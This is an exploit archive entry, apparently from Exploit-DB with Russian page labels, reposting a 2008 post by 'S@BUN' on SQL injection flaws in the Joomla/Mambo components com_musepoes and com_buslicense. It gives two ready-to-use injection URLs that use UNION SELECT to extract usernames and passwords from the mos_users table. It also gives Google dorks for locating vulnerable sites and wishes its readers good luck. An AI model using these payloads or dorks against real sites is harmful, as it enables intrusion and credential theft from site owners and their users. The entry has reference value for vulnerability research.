Exploit Mambo Component musepoes - 'aid' SQL Injection

[Exploiter]

EDB-ID

5011

Проверка EDB

1. Пройдено

Автор

S@BUN

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-0579 cve-2008-0515

Дата публикации

2008-01-30

#########################################################################
#
# joomla SQL Injection(com_musepoes)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_musepoes"
#
########################################################################
EXPLOIT :

index.php?option=com_musepoes&task=answer&Itemid=s@bun&catid=s@bun&aid=-1/**/union/**/select/**/0,username,password,0x3a,0x3a,3,0,0x3a,0,4,4,4,0,0x3a,0,5,5,5,0,0x3a/**/from/**/mos_users/*

#########################################################################
# S@BUN                     www.hackturkiye.com               S@BUN #########################################################################
#########################################################################
# S@BUN                         GOOD LUCKY                       S@BUN
#########################################################################


-------------------------------------------------------------------------------------------------------------------------------------------------

#########################################################################
#
# joomla SQL Injection(com_buslicense)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_buslicense"
#
########################################################################
EXPLOIT :

index.php?option=com_buslicense&sectionid=9999&Itemid=9999&task=list&aid=-1/**/union/**/select/**/0,username,0x3a,password,4,5,6,7,8,9,10,11,12,13,14/**/from/**/mos_users/*


#########################################################################
# S@BUN                 www.hackturkiye.com                 S@BUN
#########################################################################
# S@BUN                    GOOD LUCKY                        S@BUN
#########################################################################

# milw0rm.com [2008-01-30]